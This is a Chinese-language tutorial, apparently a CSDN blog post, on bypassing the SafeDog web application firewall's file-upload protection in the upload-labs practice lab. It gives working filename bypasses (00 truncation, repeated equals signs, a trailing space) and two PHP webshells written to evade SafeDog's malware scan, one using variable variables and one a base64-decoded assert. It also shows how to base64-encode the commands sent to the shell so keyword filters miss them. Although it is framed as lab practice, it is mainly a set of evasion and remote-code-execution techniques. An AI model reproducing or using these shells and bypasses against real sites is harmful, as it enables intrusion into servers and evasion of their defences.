作者名:Demo不是emo
主页面链接:主页传送门
创作初心:舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷
座右铭:不要让时代的悲哀成为你的悲哀
专研方向:网络安全,数据结构
每日emo:保持心脏震荡,等有人与我共鸣
sql注入的WAF你会了,文件上传的WAF你见过吗,关注我,让我带你由简入难实战各个WAF,今天先来看看web安全渗透必会的安全狗WAF,你会绕吗?看我带你将它拿下
目录
一:环境配置
1.upload-labs的文件上传靶场
2.安全狗WAF软件
3.检测WAF是否生效
[1].创建一句话木马
[2].开启靶场环境
[3].尝试上传php文件
二:实际操作
1.基于文件名的绕过
[1].00截断
[2].多个等号
2.基于木马内容的绕过
[1].畸形传参木马
[2].经典编码木马
三:拓展内容
一:环境配置
1.upload-labs的文件上传靶场
这里也是直接给大家准备好了,链接如下,放在根目录下,到浏览器打开就能用了
upload-labs文件上传靶场-网络安全文档类资源-CSDN文库
2.安全狗WAF软件
这个应该很多人都没有,但是我肯定为大家准备好了啊,链接如下(就问服务到不到位)
链接:https://pan.baidu.com/s/1i7R28EWV7Bn6Errrxi9UAA?pwd=emlg
提取码:emlg
下载之后跟着提示安全即可
注意:1.安装成功之后记得开启安全狗的网站保护和文件上传防护
2.记得关闭安全狗的cc攻击防护,因为待会实战过程中尝试多次,可能被封ip
3.将文件上传的php后缀设置到黑名单,即防护上传的php文件
3.检测WAF是否生效
[1].创建一句话木马
[2].开启靶场环境
这里演示的环境是upload-labs靶场的第六关,这关没有WAF时的上传方法是抓包在文件名后面添加一个空格即可绕过。如下
没有配置WAF时将这里的“text.php”改为“text.php ”即可绕过限制
此时打开并选中刚才的php一句话木马
[3].尝试上传php文件
显示拦截页面,说明本次实验需要的环境已经搭好了
二:实际操作
这里就不做这么多原理的讲解了,因为讲起来太多了,所以这里就直接给大家介绍绕过姿势了
1.基于文件名的绕过
[1].00截断
先将"text.php"换成"text.php;.jpg", 这里的.jpg是为了混淆WAF和后端的后缀识别
再将;的hex编码替换为00,造成00截断,如下
此时放行试试数据包,效果如下:可以看到,已经绕过了WAF的检测,因为并没有弹出安全狗的拦截页面,但是后端的过滤还没有绕过,所以显示不允许该文件上传
刚才我们说了这关靶场后端的绕过方式是加一个空格,所以我们在刚才的基础上再加一个空格,就是把"text.php.jpg"变成”text.php .jpg“
此时再放行数据包,效果如下,成功上传
这里我们来尝试访问一下上传之后的php文件,又被拦截了
这又是为什么呢?这就是待会我要给大家讲的基于内容的拦截,不急,先给大家把绕过WAF上传限制的姿势讲了来
[2].多个等号
这个操作就更简单了,直接在文件名的位置把一个等于换成多个等于,也能绕过WAF,此时再在末尾加空格,直接成功上传,如下
2.基于木马内容的绕过
因为上面我们用的一句话木马是市面上最常见的一句话木马,基本上所有的WAF识别到这段内容都会将其拦截,这也是我们为什么上传了但是访问不了的原因,可以开启安全狗的木马扫描试试,如下
可以看到木马很快就被扫描出来了,还标记了一个常见木马,这可不行啊,得想办法啊,所以我们要做免杀一句话木马,让他扫描不出来,这里给大家准备了两个能够过安全狗的木马
[1].畸形传参木马
<?php $a = $_GET['x']; $$a = $_GET['y']; $b($_POST['z']);?>
使用方式如下
用get方式传如参数x和y,值分别为b和assert ,再用POST方式传如参数z,值为自己想执行的命令
可以看到能成功执行,达到木马的效果
[2].经典编码木马
通过assert函数的base64编码后的拼接即可绕过,如下:
代码如下
<?php$e=base64_decode("YXNz马赛克ZXJ0安全狗");$e($_POST['aa']);?>
此时浏览器访问该文件,POST方式传入参数aa,值为想要执行的命令即可,如下
成功执行,直接拿下
三:拓展内容
上面的绕过方式不可避免都有一些问题,那就是传参时使用了敏感关键字,比如phpinfo()之类的,有一些防火墙就会检测传入的参数是否含有敏感内容(例如宝塔),那这时候我们怎么办呢?
我们可以把传参使用的敏感关键字变成其他编码格式,比如base64,再在一句话木马中对传入的参数先做一个解码操作,如下
在木马中添加解码操作
就是把关键字拿去加密
传入加密过后的关键字
同样可以生效,成功绕过了关键字检测
希望大家看完后能有收获,感谢大家的阅读。